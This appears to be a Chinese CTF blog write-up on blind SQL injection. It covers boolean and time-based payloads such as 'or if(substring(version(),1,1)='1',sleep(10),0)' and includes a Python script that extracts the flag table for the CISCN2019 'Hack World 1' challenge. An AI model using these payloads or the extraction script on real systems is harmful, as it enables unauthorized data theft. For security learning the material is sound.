SQL注入利用方式(实战Hack World 1)

一、布尔盲注利用

假如注入的网页能返回1或0的提示信息,我们可以写如下代码:

select password from admin where username ='1' or 1=1;#

1=1是我们利用的逻辑点,我们能在此处进行一个判断,比如判断某个数据字段第几位上的字符是否为’ 1’,如果成立,则为真,不成立,为假。
所以可以写成:

select password from admin where username ='1' or if((substring(version(),1,1)='1'),1,0);#

这句话的意思就是判断version()从第一位开始的一位字符是否为‘1’。如果是,则返回1(真),反之,返回0(假)。这样就可以通过循环语句改变位置‘1’,拿到flag。

二、时间盲注利用

sleep()函数

username =1'or if((substring(version(),1,1) ='1'),sleep(10),0);#

三、实战:[CISCN2019 华北赛区 Day2 Web1]Hack World 1

打开题目,题目告知flag就在flag表里,那看起来,我们只要执行

select flag from flag 

并成功获取到数据即可。

1.布尔盲注

输入id=1,得到回显如下:
在这里插入图片描述
尝试输入:

(ascii(substr ((select(flag)from(flag)),1,1))>32

意思是,截取第一个字符,转成ASCII码,然后判断值是否大于32,如果大于32,整个条件即为真。这样我们就得到了一个布尔盲注点。
构造exp如下:

import time
import requests
url =" "
result =" "
for i in range(1,44): #  假设flag字段最长43个字符
	for j in range(32,128):  #  ASCII码32到126代表了空格到波浪号(~)之间的所有可打印字符
		time.sleep(0.1)
		payload = '(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(j)+')'
		#  判断flag字段的第i个字符的ASCII值是否大于j
		print(payload) 
		r = requests.post(url,data={'id':payload}) #  向目标URL发送POST请求,请求体中包含构造的payload
		if r.text.find('girl')==-1:
		# 这里假设当查询条件为真(即字符的ASCII值确实大于j)时,响应文本中不会出现"girl"
			result +=chr(j)  #,说明当前尝试的ASCII值j比实际字符的ASCII值大
			print(j)
			break
print(result)

最后拿到flag。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓梦林

都看到这里了,支持一下作者呗~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值